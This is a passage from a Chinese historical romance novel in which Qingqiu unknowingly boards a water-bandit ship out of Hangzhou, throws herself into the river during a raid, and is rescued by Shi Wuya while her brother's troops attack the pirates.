元智道:“有几分好奇,瞧着古怪,好奇他和付娘子是何关系,昨夜云露姐姐拉着求他,他却一口回绝。” 元智如此问,清秋亦给不出答案,谁知道他葫芦里买的什么药。 还不待清秋回答,云露绿柳并肩而来,绿柳道:“姑娘,问过了,明日有客船北上,可回汴京去,使了银子已安排妥贴。” 云露因刘氏迫嫁一事,不由得气道:“这些人也太坏了,逮着姑娘欺负,好不容易来一次杭州,就这样匆匆回去了。” 清秋本意也是要在杭州多留一段时日,可经刘氏这一闹,实在不想在杭州多留,更何况此行之后还要回汴京定亲。 云露向来贪玩,好不容易来一回,实在不忍她败兴而归。 十月初一本是寒衣节,只可惜那会她被刘氏软禁,节日固然热闹,但这老宅临近西湖,夜市倒也繁华。 思及此,清秋便朝云露道:“你既想玩,今夜我们去一趟西湖如何?也让你瞧瞧杭州的好风光。” 闻言,云露欢喜得合不拢嘴,一个劲地奉承清秋。 见她二人有兴致,绿柳笑问:“姑娘可还记得宋嫂做的鱼羹?” “自然记得,说起来倒有许久未吃过这样的鱼羹了。”清秋忆起那鱼羹的味道,只觉腹中空空,有些饿了。 绿柳道:“宋嫂如今已开酒楼了,唤飞云楼。” 杭州小食不比汴京少,各有风味,比方说杭州的蟹酿橙,恰巧这个时节正是吃蟹的好时候。 “瞧你们馋的,今夜我做东,元智你多吃些,回一趟杭州可是不容易。”清秋含笑道。 —— 暮色四合,街头巷尾炊烟四起,不知不觉间,隔壁宅子的柿子被啄得所剩无几。 清秋安置好瞳瞳,再三锁好才出门。 “你是杭州人氏,可来过西湖?”清秋侧目问元智。 云露绿柳走在二人前头,绿柳向云露介绍杭州风土,清秋则和元智在后面漫步。 元智环顾周遭,眼中空空,“应当是来过的,其实有些事,我已记不清,若说西湖,我好似就是在西湖走丢的,那时年岁太小,已记不得了。” 空绝是在杭州见他可怜,遂将他带回汴京,却不知他是在何处走失,也不知知其来历,只当是孤儿。 元智如今十三岁,在青山寺已有七年,空绝曾问元智是否要寻父母,元智只说:“父母在,不远游。” 可元智却早已当父母已故,他自杭州走失,又在汴京七年,寻父母如同大海捞针,是以不寻,不念,不问。 清秋后知后觉,只觉自己问的太多。 “杭州的酒不比汴京差,又有别的风味,尹姐姐总想回杭州却抽不开身,你倒比她走运些。”清秋调转话头,不再提元智的旧事。 元智眸光一亮,喜道:“那就多谢付娘子了!” 时至戌时,月华如水,街上挂起彩灯,搭起长棚青伞,西湖秋风渐起,非盛夏日未能见到接天莲叶。 西湖水面泛起粼粼波光,倒影漫天繁星,此时游人如织,穿行于璀璨华灯。 云露绿柳订了飞云楼雅间,面朝西湖,可观街景。 元智紧随其后上了二楼,临转角时,元智回头问:“付娘子不上楼吗?” “我去湖边走走,不必等我。”清秋抿唇轻笑,转身没入人潮中。 杭州承载太多旧忆,清秋一时之间有些恍惚,眼见西湖水如旧日般流淌,断桥残柳依旧,湖心驶来画舫轻舟,悠扬琴声绵绵不绝。 清秋着青衣白裳,临湖而坐,望向西湖边的凉亭。 风拂湖水,搅起涟漪,湖中各色花灯纷纷荡漾。 清秋静坐许久,待到云露几人寻来,清秋才堪堪回过神,茶肆娘子打眼一瞧,见几人贵气,忙上前去奉新茶。 “娘子请喝茶,瞧几位是外乡来的吧。”茶肆娘子亲切地问着,手中捧着汤瓶,又道:“这几日江上不太平,娘子们过来可还安稳?” 清秋略微颔首,元智倒不客气地坐下,直问:“有茶水果子吗?” 云露敲他,“方才不是吃过了吗。” “付娘子瞧着没吃,我是为付娘子问的。”元智撇嘴,委屈着说。 绿柳打圆场,笑道:“罢了,再吃些也无妨。” 茶肆娘子忙道:“有有有,我这儿的果子点心都是新鲜的,柿饼,梅子糖,桂花糕,只娘子想,这儿就有。” 清秋见她几人坐下,便随意吃了些,云露似是未逛够,央着绿柳带她再走走,元智心觉无趣,却也跟着云露一道逛去了。 明日启程回汴京,清秋无心多逛,只让他们去。 秋月银辉,长街巷尾熙熙攘攘,清秋回宅中放出瞳瞳,顺道打点了行李,绿柳做事妥帖,清秋心中有数。 只是有一样东西,清秋到如今都未想好该如何办,她从汴京带来的地契,仍在她的手中。 清秋正犹豫着,却见瞳瞳飞快地奔出卧房,一溜烟消失在眼前。 顾不上地契,清秋忙追它出去,院中石灯明亮,清秋听声辩位,见瞳瞳三两下跃上白墙,追着隔壁宅子的喜鹊不放。 柿子树都快被啄秃,却还有喜鹊来,清秋忙唤它。 “瞳瞳,快下来。” 清秋走至墙下,伸手要抱它,瞳瞳却勾着爪子一直追着喜鹊,这墙虽不高,清秋却怕瞳瞳摔下来受伤。 只这一时半会,清秋也没法子唤它下来,只得在墙下候着。 好半晌,清秋才见瞳瞳有了要下来的意思,不过这意思似乎反了。 瞳瞳一个飞扑,跳到柿子树上,紧紧抓着树皮,清秋心下一惊,忙出门去。 清秋自回杭州旧宅,从未拜访过街坊邻居,这隔壁宅子有无人住尚不确定,可瞳瞳挂在那柿子树上,若没人接着摔伤了该如何办。 想到此处,清秋心一横,轻轻叩门。 “打扰了,可有人在?”清秋侧耳听里头动静,轻声问道。 良久,无人应。 清秋再次叩门,这回她心焦,力用得大些,却不想这门径直开了口,似是无人居住,清秋小心推开门。 门缝透出些许微光,月光清亮,院中萧条景象和那棵柿子树所差无几。 清秋环顾四周,蹑手蹑脚地往里走。 “喵~” 闻声,清秋慌忙抬头,循声望向柿子树,那棵柿子树干枯张扬,与树下的青年一般无二,见着有人清秋放慢脚步。 “打扰公子休憩,我家狸奴顽皮,我来寻它。”清秋温声道。 清秋离那棵柿子树尚远,她眼力不佳,月色下只辩得清进屋,远景除非高大否则一概看不清。 师无涯一抬眼就看见清秋,见她未将他认出,忽地起了逗弄的心思。 那人不说话,清秋不敢再进,恐得罪了人家,一时犯难,清秋凝眉道:“公子可有见到一只狸奴,通体雪白,双瞳异色。” 师无涯不答,倒是瞳瞳应了声。 清秋确信瞳瞳就在里面,顾不得什么得不得罪,直往里去,“失礼了。” 师无涯忙背过身,勾唇一笑,压低声音道:“别过来。” 清秋微怔,蓦然停下。 “为何?” “听姑娘声音是个美人,在下丑陋不堪,恐吓到姑娘。”师无涯仍低声说话,轻抚瞳瞳,眼中带笑。 清秋不言语,轻手轻脚地往柿子树去。 临至那人身后,清秋已将师无涯识破,伸出手哼声道:“还我的瞳瞳,你要作甚?我只寻瞳瞳,不在意你的容颜。” “师无涯。” 师无涯眉梢轻扬,道:“付二姑娘,方才只是玩笑,还请不要见谅。” 清秋待他本是平和,虽说心底是恨他,却也顾念着彼此的体面,那曾想过师无涯一而再再而三地逗她。 “师将军的玩笑我不喜欢,还请不要再自以为与我很熟。”清秋没好气地说道,将瞳瞳从他怀里抱回。 自打回京以来,他与清秋只见过寥寥几面,可这几面,没有一面得过好脸色。 “付清秋!” 师无涯眉目一凛,眸光如炬,紧紧盯着她,试图从她的眼中窥见一丝波动,可她的眼睛明亮纯粹,那有什么别样的情愫。 以前轻而易举得到的东西,如今乍一索取,却如此艰难。 清秋不明所以,自打师无涯回京,他一见到她就在发莫名其妙的疯, “师无涯,我不明白你。”清秋深深蹙眉,无奈又无助。 此话一出,师无涯眸光一滞,他也不明白自己,明明知道她要定亲了,他却希望清秋日后心中还有他的一席之地。 师无涯拧着眉,自顾自地地回了句:“我也不明白我自己。” 清秋微怔,师无涯所说的话她听得一清二楚,可这话是什么意思。 “罢了,我今日闲来无事,便与师将军说会话,叙叙旧,省得师将军日后再与我叙旧,如何?”语罢,清秋坐在柿子树下石桌旁。 月光映出师无涯的侧脸,清秋抬眸见他怔愣,挑眉问:“师将军不给我上杯茶?” 闻言,师无涯坐至她对面,边倒茶边打量着清秋。 “你明日要回汴京?”师无涯递茶给她,清秋并未接,只抬眼看他。 “师将军耳朵很灵,一墙之隔,把话都听完了。”清秋笑中带刺,眸光盈盈看着他。 师无涯一时理亏,登时垂下眼,任由清秋打量,他也不是故意偷听,不过是恰巧听了一两句,更何况清秋在杭州遭了刘氏的道,想来也不会呆多久。 与从前相比,如今的清秋,多了几分机警,聪颖敏锐,只两年的时间,她好似脱胎换骨重生了一般。 师无涯心头浮躁,一时间竟不知是如今的她好,还是从前的她好。 “江上不太平,你可过些时日再回汴京,不必着急,韦家不敢拿你如何。”师无涯本想添一句“有我在”,思来想去总觉不妥当,只暗自将话咽回去。 “近来江上有水寇,来往船只已有不少遭了难,你一个孤女子并几个女使又无防身之术,再等等再回汴京也不迟。”师无涯淡声说着,自顾自地抿了一口茶。 江上水寇一事,清秋倒不是头一次听说,先前刘氏也曾提过,以此为由让她留在韦宅。 清秋本意也想在杭州多留段时间,可不知为何,见到师无涯之后,她迫切的想要离开杭州,一刻都不想多留。 清秋思忖片刻后,静道:“劳师将军费心,我已雇人随行,况我回汴京有事,不便再留在杭州。” 话落,二人无言,静了好半晌。 弯月勾出枝影,乌云遮月,眼瞧着时辰不早,清秋起身告辞,师无涯紧握着茶杯,眸光凝在平静的茶水中。 只刚踏出一步,师无涯倏然出声,眼中倒映她单薄纤弱的背影。 “付二姑娘,你变了。” 清秋骤然抬眸,弯唇轻笑,并不回头,“师将军,人人都会变,这不足为奇。” 疾风乍起,吹荡乌云,月华如流水倾照。 清秋环抱着瞳瞳离开,待她走后,师无涯才愕然回神,有关清秋追着他的画面一幕幕显现。 他与清秋相识十四年,从前朝夕相处十二年。 中间只余两年,这两年却叫她改头换面,变成了另一个人。 —— 翌日清晨,几人前往龙山渡,此渡口离西湖最近,客货兼用,与对岸的渔山渡遥相对。 来往杭州货船做生意的人多,此刻天色刚明,已聚了不少镖师商人,许是因江上水寇出没,商户所雇镖师比来时多了一成。 行程仓促,绿柳昨日只就近寻了家小镖行,此刻三人随行在清秋身边。 渡头来往船只颇多,船上客人鱼龙混杂,清秋在渡口边等绿柳去认船,元智提着猫笼跟在清秋身后。 不多时,绿柳便招手唤云露,云露打眼瞧见,忙带着清秋一道去往客船。 临上船前,清秋戴着幂篱,问那拉帆的梢工:“此船可有公凭?可是去往汴京?”按市舶司的规矩,无论是海外贸易还是内河航行,船只都需要获得此凭证。 “公凭?”梢工疑了片刻,憨厚一笑,“有的有的,只是不在我手里,小娘子要看得去问纲首,我们不懂这些。” 清秋颔首道谢,上船后,清秋发觉此船和来时客船有些许不同,论理乘船之人多是商人或平头百姓,可这艘船上却多是壮汉刀客。 云露绿柳往船室去,清秋环顾四周,幂篱遮着她的脸,不至于让人觉察到她的目光。 清秋心头不安,狐疑道:“元智,你觉着这船可有奇怪的地方?” 元智自上船也觉奇怪,但却不甚在意,反倒佯装正经道:“付娘子,此船有煞气。” 不多时,船帆扬起,渐渐离开渡口,清秋站在船艏眺望渡口来往行人,她昨夜和师无涯告辞,原以为他会来送行,却不想是就此分别了。 这艘船才行驶,远处渡口便有一艘所差无几的客船停靠渡口,清秋远远望了一眼,瞧不太清。 “你带着瞳瞳去歇歇,我在这儿吹吹风。” 清秋转身靠到船舷边,元智学着云露的语气叮嘱几句,便进了船舱。 此次回杭州,清秋看清韦家的真面目,顿觉母亲艰难,可这桩事又该如何向韦氏提及,当真要将母亲与韦家斩断吗。 清秋远眺江上波澜,一时无措。 江上秋风渐起,清秋穿得单薄,只一阵风便吹得瑟缩,不过多时,清秋正欲回船室,却见船舱里又出来几个五大三粗地汉子。 其中领头的壮汉,脸上一道刀疤从眉骨延至太阳穴,眼神凶戾,他眼中精光一扫,盯上着青衣的女子。 虽有幂篱作掩,清秋仍觉可怖,后背生寒。 清秋强压下心头惊惧,镇定自若地往船舱去,刀疤壮汉回头看她一眼,清秋仍不疾不徐地走着,不敢露怯。 “那是谁?船上哪儿的女子?”刀疤脸目光如剑,扫过身后的几个壮汉。 语毕,无人应答,恰此时,船帆上绳索滑下一人,正是方才清秋所问公凭之人,他方脸阔耳,眉骨极深,眼珠黝黑十分狡黠。 见他下来,刀疤脸眉头稍松,却仍斥道:“今天劫船你不知道?还带个姑娘上来,出了事怎么办?” “二哥,只一个姑娘家家能掀起什么浪来,我不是瞧着大哥多年来孤寡一人,带个标志的小娘子回去给大哥做媳妇,这不是两全其美吗?”他道。 人已上船,多说无益,刀疤脸冷哼一声,朝船艏走去,他紧随其后。 “三弟,你上去看着后面的船,待到入夜就放下船帆,这次有大货。”刀疤脸把玩着腰间长刀,厉声道。 他所唤三弟本姓陈,家中行三,因而刀疤脸唤他三弟。刀疤脸本姓赵,如水寇后能力出众,被敬称为二哥。 陈三眸子一转,开怀笑道:“我知道的二哥,这回我打探清楚了,是韦掌柜的货要走龙山渡运往汴京,虽说瞒得紧,但她家的婆娘是个不把门的。” 陈三混迹杭州各大商铺,韦家本是瞒得严严实实,可刘氏不知发了什么火,在铺子里破口大骂,直说“什么官家小姐不得了”、“我家金山银山”、云云。 字里行间都透出了一批货,他本就耳聪目明,只消她几句话便推断出来。 赵二微眯着眼,沉声道:“这批货不假,但我听到风声说朝廷派下了人来,你晓不晓得那人什么来历,打探出来了吗?” 他们在江上作恶许久,但却不常犯事,只挑大货下手,官府想抓也无法时时盯着,只得守株待兔。 说是要来捉他们,他们也早有对策,且他们这一行人水性极好,要想拿住他们只得看谁命硬。 “我在打听了,并没有派什么人来,那杭州知府没有动静,兄弟们都在观望着,没瞧见有什么人来,渡口也派人看着,没什么官儿来。”陈三看着五大三粗,实则做事滴水不漏。 赵二点头,正色道:“看紧些,那女子带了镖师,先把镖师药了扔到江里喂鱼,别打草惊蛇。” 陈三会意,带着两个弟兄前去船室。 —— 清秋独自坐在船室窗边,江上风冷,吹得她心头慌乱不安,适才她见着的刀疤脸的眼神,并非善类。 清秋胸闷心悸,绞紧手中绣帕,倘若真是遇上了贼寇,不 这不是遇上了贼寇,而是上了贼船。 清秋恍然抬眸,眼睫不停颤动,手心浸出涔涔冷汗。 细细想来,这一整艘船都是五大三粗的男人,各个眉眼狠厉,纵使再多的镖师,也不至于一个女子都没有。 可如今就是知道这是贼船,又有什么办法。 茫茫江浪,前无去路,后无退路,砧板上的鱼肉任人宰割。 思及此,清秋心下大骇,胸膛闷得剧烈起伏。 暮光渐起,江面霞光浮金,恰此时船室移门轻响。 清秋堪堪回过神,抬手掩着胸口,压下所有惊惧,镇定开口,“谁?” “小娘子,方才你不是要公凭?”那人语气轻快,似有调侃之意,清秋听出他的声音,是方才上船时的梢工。 她如今没有退路,饶是知道,也得装作不知道。 第37章 “付清秋,你是不是疯了。”…… 清秋理好衣裳, 缓缓起身,淡声道:“不妨事的,既已上了船, 定然是相信船家的。” 话落, 陈三不肯离去, 定要见到他人才罢休,他笑道:“小娘子还是看一看,也好好放心不是?” 清秋心知是躲不过了, 只垂手去拿身边幂篱,推开移门, 眼见陈三身后带着人, 清秋不自觉地一颤,陈三瞧出她有几分害怕。 “小娘子莫怕,这都是船夫, 随我们一道的。”陈三满面堆笑,对她十分殷切。 陈三将公凭递给她, 清秋顺势要去接,刚触到公凭一角,陈三的手竟握上她的手, 那只粗糙布满老茧的手, 摩挲着她白皙细嫩的手。 清秋胃里翻江倒海,忍着恶心和泪水,任他揩油。 不多时, 陈三狡黠一笑,松了手,清秋迅速抽手拿过公凭,她哪里见过市舶司的公凭, 饶是是假的,又能说些什么? 清秋故意将公凭拿倒,看了看,嫌道:“这上头写的什么司?我怎么没见过,怕不是蒙我?” 陈三见她捣鼓半天也未看出什么名堂,道:“小娘子不识字?这是市舶司,官府发的公凭,你瞧上头的落款。” 陈三色迷迷地盯着她,正要上前去给她指,清秋忙转过身,对着窗仔细看了看,道:“我以为是什么呢,有就行了。” 清秋随手往后一扔,一纸公凭打到他脸上,陈三痴愣愣地接着,直勾勾地凝视她,眼前人虽戴着幂篱,可身段轻盈,杨柳细腰,迎着窗的薄薄目光,隐约可见她面部轮廓。 只这背影就让他垂涎,陈三只恨还未到时候,等到今夜一过,抢了韦家的货,人才两全。 思及此,陈三回过神来,道:“小娘子今夜恐怕不安稳,留两个人给娘子使唤可好?” 自然不好,这不明摆着监视她? 清秋思忖片刻后道:“不好,我自己带了人,不需要别的人来,我饿了,叫我的女使给我送饭来。” 这艘贼船,只她们一行人,云露绿柳现如今还不知是何情况。 陈三听她语气坚决,心生恼意,却又不得不将就她,这船都是他的,难不成还怕她跑了,笑话。 “小娘子说得有道理,我去寻一下那两个娘子。”陈三抬手示意身后两人退下,不过多时,陈三也退了出去。 待他一走,清秋急喘口气,腿下一软,跌坐在窗边。 这同她在韦家的境地不同,韦家心思再歹毒也不会要了她的命,可此刻她面对的杀人越货的贼寇,只一个不小心都有可能在江上丧命。 这样命悬一线的时刻,已过了很久。 这回谁又会来救她? 清秋意识崩溃,心头又闷又痛,她不想哭,却抑制不住恐惧的情绪,没有办法,没有一点办法可以逃出生天。 不止她没有办法,随她同行的元智、云露、绿柳都要陪她丧命。还是怪她,怪她非要急着回汴京,明明可以再等一段时日,却还是因为师无涯想要逃离。 清秋泪如雨下,心脏被一只粗糙的布满老茧的手揉搓挤压,每喘一次气,都会伴随刺骨的疼痛,夹杂着诸多绝望、恐惧、后悔。 她怪自己不该着急离开杭州,再往前追溯,清秋怪自己要回杭州。 情绪撕拉摩擦着最后一点理智,良久之后,清秋急喘一口气,吸进阵阵凉风,凉风灌喉扯会一点零星意识。 纵使恐惧凌驾于她的理智之上,她也不能在此刻彻底崩盘。 人只要活着,还有一口气,总会有办法的。清秋坐至窗边,深深吐出口气,不疾不徐地理好鬓发,拭干眼角余泪。 不过半盏茶的功夫,陈三领着云露等人进船室,陈三环顾四周道:“这船室不大,小娘子可要换一间更大的。” 船室四壁空荡,左侧临窗,其余皆是简陋的床铺被褥,与她来时的船室相差甚远,但来时是由韦氏操办,自不会差,如今上了贼船那儿还管那么多。 清秋摇头道:“不了,我们几人住一起正好,况我们姊妹几人本是去汴京寻亲的,住得远了反倒不自在。” 云露绿柳听清秋如此说,二人心觉怪异,心中隐隐不安,元智提着猫笼已坐至清秋对面,似对这些并无察觉,反倒格外悠闲。 陈三仍不走,目光灼灼地盯着清秋,正欲开口,身后壮汉上前一步,在陈三耳边低语,不多时,陈三便和那人一道离开。 清秋缓过劲来,与三人说明缘由,绿柳吓得唇色惨白,云露急得眼角挂泪,唯元智不慌不忙毫无异色。 “是福不是祸,是祸躲不过,付娘子你可有法子了。”元智问道。 清秋苦笑摇头,当真是前后无路,没有法子。 —— 此夜月黑风高,杭州知府官署内灯烛映天。 “副都指挥使来得太急了些,都未能为你接风洗尘。”钱林并杭州通判刘安拱手作揖,二人颤颤巍巍地站在他身边。 近来钱塘江不太平,钱林本欲循循引诱,哪曾想上头派的人这么快就到了杭州,还换下先前的指挥使,眼前的这个披银甲的,就是新任的副都指挥使。 钱林诚惶诚恐,时不时瞅一眼他,这人看似随和,可眉眼却含着狠厉之气,也不知是从哪儿调来的。 “钱知府,机不可失,我受马步军都指挥使之命来调动厢军剿水寇,钱知府和刘通判可要随我一道?”他侧目看向二人。 刘安踌躇许久,复又利索道:“自然。” 见他答了,银甲青年又扫一眼钱林,他迟疑片刻后,也应和一句。 —— 戌时三刻,天已沉,江上倒映明月繁星,船只已行至江心,但此刻船已停下,江水清凌凌地荡起涟漪。 船室一片死寂,只有瞳瞳时不时出声。 虽是死局,却也不能坐以待毙。清秋静下心来理清思绪,倘使这艘船是贼船,必然要劫船,从一艘船到另一艘船,其中必定有小舟。 只是他们打家劫舍,又怎么可能会让她逮到机会,况且她们一行人手无缚鸡之力。 有船才能逃生,只是如何才能让上船。清秋想不出别的主意,饶是有这样一个缺口,却也难以实现。 云露绿柳各自垂首不语,只觉是生死到头了。 几人各自伤怀,恰此时有人叩门,低声道:“小娘子,待会船上恐有些颠簸,还请不要出来。” 陈三此时说这些,想必是要劫船了。 思及此,清秋起身悄声对室内三人道:“我去船艏探探情况,此船是贼船,劫船时应当是倾巢而出,待我出去后,你们瞅准时机,若有空舟便乘舟离开,若没有便躲在船舱里,料他们一时也顾不上你们。” “姑娘。”绿柳含泪欲哭。 云露也泣声唤她,清秋无心安慰二人,这也是没有办法的办法,总的有人要活着才行,人命又何来贵贱。 纵使云露绿柳愿意留在她身边,清秋却不愿拖累她们。 思及此,清秋扬声朝陈三道:“这船室闷得慌,哥哥何不带我出去吹吹风?” 听清秋一句“哥哥”,陈三心念一动,浑身酥得直痒痒,可待会见了血,误伤着她该如何,想到此处,他生出怜香惜玉的心思。 “小娘子,江上风大,夜里又冷,开窗透透气吧。”陈三劝道。 “三哥,二哥在催了,那大货近了。”身后壮汉提醒道。 闻言,陈三不欲再管清秋,只转身要走,不过刚转身,身后移门轻开,船舱里烛光映照一张芙蓉花面,眼眶些许浮肿。 陈三闻声回头,先前一直未见其真容,如今乍一见,不由得心生怜爱。 “小娘子这是做什么,当真要去那船艏吹风?”陈三耐着性子,满面含笑地打量她,他看她的眼神,只有欲,一种企图吞没他的贪欲。 清秋抿唇,故作委屈道:“哥哥这船上闷得慌,我就想去散散心吹吹风,哥哥这都不许?” 眼见美人含嗔带怒,陈三忙上前围在她身边,“哪里的话,当真要吹风?这风怪得很,小娘子要想清楚了。” 陈三不担心清秋跑,只怕她见了血害怕,反正他也要带清秋回寨子,何不就借此让她开开眼,将来总归是要知道的。 思及此,陈三径直带她出去,仍旧笑得满面春风。 “什么怪风不得了,我倒要瞧瞧呢,哥哥不让我去,我偏要去。”清秋娇嗔道,连带着手中绣帕甩在他胸前,陈三哪见过这场面,忙追在她身后。 陈三拾起绣帕,塞进怀里,隐隐还嗅到一抹幽香。 清秋心底一阵恶心,却不得不装作若无其事,清秋回首望向船室的云露绿柳,见她二人正欲带着瞳瞳出门,陡然松了口气。 陈三如此对她,想来是不愿意她死的。 清秋眸光一转,娇痴道:“我是晓得的,哥哥是背着我有别的娘子,只怕我撞见了呢。” 陈三眸光痴痴地看着她,左一个“哥哥”,右一个“哥哥”,陈三只恨当下这货来得不巧,否则定要叫眼前人说不出话来。 只刚出船艏,赵二便见清秋昂首出来,陈三眉眼带笑地跟着她,赵二命几个弟兄跟着清秋,顺道将陈三抓到他面前。 “你这是做什么,你私自带她上船就算了,这会带她出来做什么?”赵二揪起陈三的领子,目光凶恶,对他一而再再而三的坏规矩感到不满。 到底是一起出生入死的兄弟,赵二只言语说了几句便甩开他。 清秋站在船艏的另一侧,另一艘所差无几的客船正在靠近,船上皆是腰佩长刀的壮汉,清秋背过身眺望滔滔江水,月夜之下,分明是静谧安宁的江水,清秋却仿佛看到了惊涛骇浪。 江水无垠,远山没入黑夜,明月被乌云遮掩,江上火光大起。 陈三一行人架起弓箭,箭矢尖端燃着火光,一道又一道的火光划破黑夜,不多时又有钩索飞绳套上另一艘客船。 扔出飞索之人力道精准,紧接着又有几人纷纷扔出钩索。 不多时,两船相接船艏相撞,清秋身子一晃,叩住船舷,自船舷而下,有小舟放出,水寇兵分三路,从水上再到空中飞索径直落到另一艘船上。 清秋身后两壮汉寸步不离,眼见贼船已无什么人,是送走云露绿柳的好时机。 如此想着,清秋环顾四下,目光锁定在船舷边的红缨枪,壮汉虽只有两个,可她始终是不敌的,只能拖延些时间,况且他们又不敢拿她如何,至多数落暗骂几句。 陈三应当提前叮嘱过他二人,清秋不动声色地往红缨枪靠近,其中一个壮汉呵道:“你要做什么,那边靠近了别滚下去了。” 此船高约十二丈,船艏宽阔,飞索横天,火光满江,勾连两船。 如今两船已相撞,船艏与另一艘客船相接,若踩得准便能跃到另一艘船,可那艘船如今正在遭劫,情况不会比呆在贼船上好,但至少能周旋一阵,为云露腾出时间。 没有别的法子了,清秋心一横,登时要去抄起红缨枪,谁知枪重并非她能拿起,只刚抬起又滚落在甲板上。 壮汉瞧出他的意图,凶神恶煞地捡起红缨枪,“小娘子,你是三哥要留的人,识相的就不要再挑战我哥俩的底线。” 两壮汉交换眼神,二人逼近清秋,惊惶之下,清秋瞧见云露几人正出船舱。 “你们这群贼寇别以为我什么都不知道,你们三哥留着我,你们怎能动我?”清秋强压下心头慌乱,颤着声说道。 身后的客船掠过刀光剑影,火舌卷红江面,兵刃相撞的声音铮铮作响,伴随着一阵又一阵的哄乱,清秋一步一步往后退。 “你知道了又怎么样,三哥再喜欢你也不会为了你不要我们这些弟兄。”抄红缨枪的壮汉已靠近她,另一人距她也只一步之遥。 清秋被逼至船舷,已无退路,身后剑拔弩张,身前修罗地狱,一时之间清秋无法抉择,思绪被愕然截断。 “姑娘!” 绿柳并云露回身奔向清秋,元智则提着猫笼站在原地,瞳瞳不合时宜地慵懒一叫。 闻声,两壮汉迅速回身,持枪指着二人,元智随即拾起身边木块扔向壮汉,以此分散两人注意。 壮汉哼声一笑,“三个弱女子并一个小孩还想逃走,笑话!” 语毕,壮汉抄起家伙,只先要擒住清秋,清秋本就退无可退,如今其中一人盯着她不放,零一人则去捉云露绿柳。 元智气定神闲,将瞳瞳安置好,随后箭步上前,挡在云露身前。 “小屁孩,还不快滚。”持短刀的壮汉眼含嘲讽,不屑道,“你这个年纪逞英雄是活不久的。” 元智眸光一凛,冷下脸来,已起势对敌,短刀壮汉仍不以为意,扬起短刀砍元智,元智迅速推开云露绿柳,侧身躲过他的短刀。 绿柳见元智挡下壮汉,便要扑到清秋身边,只刚跨出一步,云露扯着她的袖子,满眼惊恐地摇头。 “来不及了,绿柳姐姐。”云露唇齿打颤,仿佛见到什么难以言语的画面。 闻言,绿柳回头看向船舷边,只见那持枪壮汉逼近清秋,他伸手要去捉清秋的手腕,清秋已无路可退,许是猜到绿柳脱险,又恐她们来救她,清秋索性仰头顺着船舷倒下江水。 只一瞬间,清秋凌空下坠,全身血液倒灌,与船上始终惶恐不安相比,如今坠入江水竟要快活几分,那种压抑的情绪随风飘散。 清秋紧闭着眼,扑通一声跌进深秋的江水,冷水灌进耳鼻,逐渐沁入肺腑。 冷,冷得无法打颤。 许久之前她也曾有过这样的时刻,只是那时与如今不同,为求生跳河,与为情自戕是不同的。 混沌冰冷的江水中可以窥见客船上滔天的火舌,不到片刻,清秋骤然睁眼,凭借零星火光,她正欲往上游,却见江水荡开水花,搅起阵阵波纹。 有人逆着红光而来,依稀可见那人墨色长袍,犹如利箭飞驰而来。 清秋半眯着眼,竟忘了游水,她其实早已会凫水,可此刻她迫切地想看清那个人,是谁,是谁在金明池救了她。 ——“付清秋,你为何跳金明池” 竟然是他。 两年前,金明池中那道白光逐渐消散,映出师无涯的脸,恍惚之间,她见到的不是师无涯的幻像,当年是他救了她,可他却从未说过。 不多时,师无涯游至清秋身边,长臂一捞将人带起,浮出水面后师无涯带她寻了空舟,清秋猛呛了口气。 浑身沾着江水,白皙的脸上浮起晶莹的水珠,倏然出水,恍若美人出浴,清水芙蓉颤颤绽放。 师无涯周身散着寒气,轻而易举地托起清秋,将她带进空舟。 “付清秋,你是不是疯了。”师无涯剑眉紧蹙,只说了这句话便转身攀着绳索上了贼船。 清秋还未回过神来,就听他怒声骂道,待她思绪回笼,却见师无涯提起一杆红缨枪在船上与贼寇搏斗,她离得太远看不清,但刀剑相撞的声音却格外清晰。 江上两艘客船不知境况如何,不知过了多久,远处又驶来一艘船,但那船与客船不同,那是海舟是航海作战所用,长十余丈,阔二丈五尺。 清秋孤零零地飘荡在江上,只听海舟上有人扬声喊道:“水寇还不速速就擒?别再枉费力气,徒增死伤。” 这声音有几分熟悉,清秋心下生疑,细细思量着,不多时她便记起了。 是他离家从戎的二哥哥。 二哥哥回杭州了,什么时候的事? 清秋倏忽回头,江上寒风乍起,冷得人肺腑发僵,海舟之上有一人迎风而立,银甲批身,墨发高束,手中持一柄利剑。 “二哥哥!” 清秋冻得唇齿打抖,耗尽所有气力喊出声,久别重逢的欣喜,劫后余生的庆幸都夹杂在这一声“二哥哥”当中。 话音甫落,付高越愕然垂眸,只见江上三艘客舟之间混有一叶小舟,小舟上的姑娘衣衫尽湿,眉眼灵动,杏眸氤氲水雾。 “清秋!” 付高越眸光忽沉,本威风凛凛的气势,倏然慌乱,只慌忙寻来绳子扔下去。 清秋手上脱力,又因浑身僵冷,根本无力攀上海舟,“二哥哥,待你事后再来救我!我等你。” 语罢,付高越颔首,只一转身眼底腾起经久不散的戾气,他的小妹自小养在闺中,虽任性了些,却也是全家捧在手上的珍珠。 “剿水寇!” 付高越声如洪钟,扬声大喊,随他一道的厢军士气大振,以雷霆万钧之势登上贼船。 清秋仰头看船上兵刃相见,刀光剑影,已有血腥味随风飘来,纵使付高越带兵前来,清秋仍止不住的心慌。 “姑娘!” 云露靠在船舷上,含泪大喊,绿柳闻声也忙去看,二人正庆幸清秋还活着,岂料身后翻进落荒而逃的贼寇。 眼见只两个弱女子靠在船舷,忙揪着一个绿衣姑娘,绿柳眼疾手快推开云露,元智刚收拾完其中一人,一不留神便又让人有机可乘。 “云露姐姐,快过来。”元智沉声劝道。 贼寇刀架在绿柳脖上,恶狠狠地要他二人离远些,追他而来的卫兵不敢轻易动手,不多时,付高越自海舟飞身前来。 付高越眸光一颤,讶然道,“绿柳。” 绿柳见是他来,竟泪如雨下,眸光似在诉说“不必救我”。 付高越长眉紧蹙,握紧手中长剑,凛然道:“放了她,还不至于要了你们的命。” “二郎君,我命贱不必救我。”绿柳哑声道,“二郎君只管杀敌斩寇。” 语罢,贼寇抵着她脖颈的剑紧了几分,“要死我也拉个陪葬的。”他如今已到穷途末路,才不在乎什么活不活着,能多死一个是一个。 “绿柳姐姐莫说胡话。”云露泣道。 付高越一时无法,只得扔下剑踢到他面前,道:“你放了她,她一个弱女子,我是副都指挥使,厢军皆是我带来的,放了她。” 绿柳泪流不止,一个劲地摇头,哭道:“二郎君,绿柳是奴,郎君不必搭上性命。” 付高越呵道:“胡说,人命何来贵贱。” 贼寇见他有几分诚意,可人多势众,他不敢轻易松手,紧紧压着绿柳的肩横刀贴着她的脖子,哑着嗓道:“你会武,我不信你。” “收箭。”付高越朝身后一众卫兵道,“别伤她。” 